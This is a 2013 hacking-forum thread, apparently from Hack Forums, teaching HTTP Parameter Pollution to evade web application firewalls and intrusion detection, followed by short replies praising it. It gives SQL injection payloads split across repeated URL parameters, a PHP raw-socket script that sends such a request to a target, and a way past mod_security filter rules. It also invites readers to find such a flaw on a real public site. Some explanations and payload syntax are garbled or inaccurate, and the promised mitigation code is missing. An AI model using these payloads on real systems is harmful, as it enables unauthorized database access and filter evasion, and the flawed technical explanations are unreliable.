

Forum:[Hack Forums](#)

Thread: [? \[Antagonism/Infamous\] IDS & WAF Evasion with HTTP Parameter Pollution \[Tutorial\] ?](#)

Keeper - June 3, 2013, 1:22 pm

Introduction:

> Didn't really spot any tutorials on HPP around here so I decided to throw some information on the subject. Parameter pollution occurs when there are multiple POST/GET parameters in the URL. The idea is to re-declare a parameter and alter its original value. Both, server-side and client-side attacks are feasible depending on the server back-end. Here I'm going to present HPP as an overall method of exploitation, WAF bypassing (and in particular mod_security) and basic IDS evasions triggered by parameter pollution. Now let's get to it.

Since the idea of HPP is to re-use parameters and rewrite their initial value, let's see a primitive example of that. Suppose we have the following URL:

Code `http://example.com/index.php?page=profile.php&username=Keeper`

In this case, we can rewrite the username parameter with another value and access the profile of another member (of course not authorized as him..).

Code `http://example.com/index.php?page=profile.php&id=1&username=Keeper&username=Divine`

In PHP, we'll have the first parameter ignored and the second one executed. That's probably the case in most back-ends that implement PHP. Take this code for an instance:

PHP Code

```
<?php
$identifier = $_GET['id'];
$user_profile = $_GET['profile'];
```

Since code is read from top to bottom whenever we append a new value to a variable that is displayed in the URL with `$_GET['']`, we end up with its second value because what basically happens is the following:

PHP Code

```
<?php
$identifier = $_GET['id'];
$user_profile = $_GET['profile']; // bears the initial value of 'Keeper'
$user_profile = $_GET['profile']; // bears the second value of 'Divine'
```

However, in ASP/ASP.NET things are different. Repetitive parameters carrying the same name are concatenated and delimited by a comma into an array. This is the main reason why we can also apply server-sided attacks like all famous SQLi and chances for a lot more. A basic execution of SQL through HTTP parameter pollution is the following example:

Code `http://example.com/profile.aspx?username=UNION SELECT ALL 1,2&username=3,4&username&5,6 FROM..`

As this is all being temporary stored in an array, we get the payload in its original 'form' executed in the same way through appending partial payloads to the variable that we are polluting. Alternatively, there are a lot of ways to send the HTTP request. Except through the URL, we can establish a connection through a raw socket in the following way:

PHP Code

```
<?php
error_reporting(0);

$request = "
POST /index.aspx?username=UNION SELECT ALL 1,2&&username=3,4&username&5,6\r\n
Host: example.com\r\n
Cookie: 7,8,9--
Accept: */*\r\n";

$urltarget = $_POST['url'];

$socket = fsockopen($urltarget);
fwrite($socket,$request);
$received = fread($socket,1024*1024);
echo $received;

?>
```

The socket establishes a connection to the target and returns the status of the request for confirmatory reason. Firstly, we define the headers under the variable \$request. Then we specify that the target URL should be a POST value of a form supplied input (you can put the three lines of HTML in order to visualize that or neglect the usage of \$_POST and just use the URL directly). Then we establish the actual connection with the function fsockopen() and fwrite(). We store the result under the variable \$received which is receiving the request with 1MB of size (just to make sure we receive the whole of it).

Our overall request is:

```
Code POST /index.aspx?username=UNION SELECT ALL 1,2&&username=3,4&username&5,6\r\n
Host: example.com\r\n
Cookie: 7,8,9--
Accept: */*\r\n";
```

Where the initial occurrence of the parameter is concatenated with the following values of the same parameter which thus results in our query executed in its entire content. Same could be applied against modsecurity. Suppose we have the following filters in our httpd.conf file that mitigate possible SQLi attacks:

```
Code SecFilter "delete[[:space:]]+from"
SecFilter "insert[[:space:]]+into"
SecFilter "select.+from"
```

Using the ordinary payload for the finding of the tables with order by will most probably throw a 406 status code which stands for 'Not Acceptable' or in other words that is content generated for the sake of doing a particular job but not to be a reachable resource. It is defined with a constant in the source of modsecurity:

```
Code #define LEVEL_400 19
```

...

"406 Not Acceptable",

...

Basically, we can obfuscate any payload using parameter pollution and split it between the multiple instances of the parameter targeted. Now let's see how we can mitigate such parameter re-declaration:

As simple as that, we obtain the number of unique parameters and the number of total/all parameters. In the case when unique ones are less than the total, we append the result to a variable that would later on output/throw an error/exception for multiple parameters specified. Of course, we could secure/filter that in a much better way but this is an example just to get you going as to how we can countermeasure HPP. Aside from that, there are a lot of other vulnerabilities to be exploited:

First order HPP or Reflected HPP

- Parameters containing source attributes

Second order HPP or Stored HPP

- Parameters containing mainly href tags

Third order HPP or DOM Based HPP

- Additional, non-existing parameter addition

But since server-side ones are affecting the server the most, who'd need any client-side exploits if SS is feasible? They are all nearly as self-explanatory as any other basic client-side attack so there is practically no need to introduce every single one of them independently. Use your brain/logic.

As of the content presented in this thread, let's see who will be able to locate an HTTP parameter pollution within:

Code <http://pastebin.com>

Hint:

Spoiler ([Click to View](#))

Initial parameter should be ignored and second one should be parsed instead.

1. [wingb0t](#)
2. [VipVince](#)
3. [michael1026](#)
4. [maxitis](#)
5. [Pendragon](#)

..

Solutions are to be PM-ed obviously so as not to spoil it for others. Thanks for reading!

xp10 - June 3, 2013, 1:37 pm

nice

a lot of people, have no idea about this bug. can you explain.

iNuke - June 3, 2013, 1:45 pm

Sounds like a great tut from Keeper, as always. Unfortunately I know nothing about it.

But I may read it tomorrow.

Keep up the good work Keeper! ?

Jay? - June 3, 2013, 5:04 pm

Excellent tutorial Keeper, expect nothing less from you.

michael1026 - June 3, 2013, 9:14 pm

Thank you very much. Been reading a lot about this. Do you think you could give a couple more examples where this could be hazardous? I know the famous Yahoo mail attack used this. I don't think it's something that you went over, but it depended on the web page changing %26 to & in a link built into the webpage to perform a CSRF attack.

Otherwise, great tutorial. Keep it up!

Edit: neverind, I just realized this was only meant to only go over IDS and WAF evasion.

-?Divine- - June 4, 2013, 4:08 am

Very nice tutorial Keeper. Good job!

"// bears the second value of 'Divine' "

Pendragon - June 4, 2013, 6:52 am

Another great tutorial Keeper. PMed you with the solution.